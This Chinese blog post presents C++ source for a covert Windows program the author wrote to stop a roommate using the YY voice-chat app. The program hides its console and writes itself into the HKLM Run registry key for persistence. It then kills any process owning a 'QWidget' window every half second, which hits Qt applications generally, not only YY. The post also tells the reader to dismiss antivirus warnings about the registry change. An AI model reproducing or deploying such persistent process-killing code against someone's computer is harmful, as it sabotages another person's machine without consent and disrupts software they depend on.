zoukankan      html  css  js  c++  java
  • [vc]让你Y的用YY

    朋友宿舍有个孩子老是晚上别人要睡觉他玩YY叫唤,就让我写个弱智程序让他开不了YY,下面是代码

    #include <windows.h>
    #include <stdio.h>
    #pragma comment( linker, "/subsystem:\"windows\" /entry:\"mainCRTStartup\"" )
    
    void Fuck()
    {
        unsigned long id_num;
        while(1)
        {
            Sleep(500);
            HWND hWnd = ::FindWindow("QWidget", NULL); 
            GetWindowThreadProcessId(hWnd, &id_num); 
            HANDLE hd = OpenProcess(PROCESS_ALL_ACCESS,FALSE, id_num);
            TerminateProcess(hd, 0); 
        }
    }
    void autorun()
    {
        TCHAR szModName[256];
        GetModuleFileName(0,szModName,50);
    
        char regname[] = "Software\\Microsoft\\Windows\\CurrentVersion\\Run";
        HKEY hkResult;
        int ret = RegOpenKey(HKEY_LOCAL_MACHINE,regname,&hkResult);
    
        DWORD      WordType = REG_SZ;     
        DWORD      WordData = 100;
        LPBYTE     KeyByte  = new  BYTE[1024];
        memset(KeyByte,0,1024);
        ret = RegQueryValueEx(hkResult,"fuckyou",NULL,&WordType,(LPBYTE)KeyByte, &WordData);
        if(ret != ERROR_SUCCESS)
        {
            ret=RegSetValueEx(hkResult,"fuckyou",0,REG_SZ,(const unsigned char *)szModName,100);
            if(ret==0)
            {
                printf("success to write run key\n");
                RegCloseKey(hkResult);
            }
            else
            {
                printf("failed to open regedit.%d\n",ret);
            }
        }
    }
    int main()
    {
        autorun();
        Fuck();
        return 0;
    }

    第一次运行的时候,杀软什么的可能会提示有加入新注册表项,允许就好了。

  • 相关阅读:
    plsql记住登录密码
    java之通过反射,来获得某对象的所有方法(类方法提取器)
    java之RTTI和反射的理解
    Thinking in java之正则表达式小例子
    java正则表达式之java小爬虫
    【ACM】Binary String Matching
    PHP var_export
    PHP FPM
    【ACM】阶乘之和
    【ACM】最少乘法次数
  • 原文地址:https://www.cnblogs.com/co1d7urt/p/2764346.html
Copyright © 2011-2022 走看看